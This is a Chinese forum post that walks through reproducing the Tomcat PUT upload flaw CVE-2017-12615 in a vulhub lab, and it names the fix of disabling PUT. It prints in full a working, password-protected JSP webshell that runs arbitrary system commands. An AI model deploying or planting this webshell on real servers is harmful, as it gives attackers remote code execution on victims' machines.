找回密码
 立即注册

QQ登录

只需一步,快速开始

漏洞描述:
当存在该漏洞的Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT请求方法,攻击者可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行
影响范围:
Apache Tomcat 7.0.0 - 7.0.79
漏洞分析:
该漏洞的触发条件有两个,第一tomcat需要运行在Windows主机上,第二要启用PUT请求方法,复现该漏洞时,只需在conf/web.xml中添加
readonly
false




当resdonly的值为true时,是不开启PUT的方法的,当它为false时,则是开启PUT方法


修复方案:
禁用PUT方法即可

实验步骤:
1.docker上开启tomcat服务:
cd vulhub/
cd tomcat/
cd CVE-2017-12615/
docker-compose build
docker-compose up -d

1348572-20181113200010190-2103532828.png

2.Windows上打开tomcat网页,开始上传jsp文件
1348572-20181113200145675-578527913.png
bp抓包修改包,go:将get方法修改为PUT,加上jsp文件的文件名(红色框),并且将要上传的jsp文件直接粘贴到下面(黄色框)
jsp代码:
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\undefined");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

1348572-20181113200550189-2077694855.png
3.查看是否上传成功,并执行代码
1348572-20181113200945423-1000237726.png 成功上传,查看whoami,jsp木马的密码是023
1348572-20181113201149237-597334324.png
1348572-20181113200010190-2103532828.png
1348572-20181113200145675-578527913.png
1348572-20181113200550189-2077694855.png
1348572-20181113200945423-1000237726.png
1348572-20181113201149237-597334324.png
分享至 : QQ空间
收藏

2 个回复

倒序浏览
学习了
回复 使用道具 举报
感谢分享
回复 使用道具 举报
您需要登录后才可以回帖 登录 | 立即注册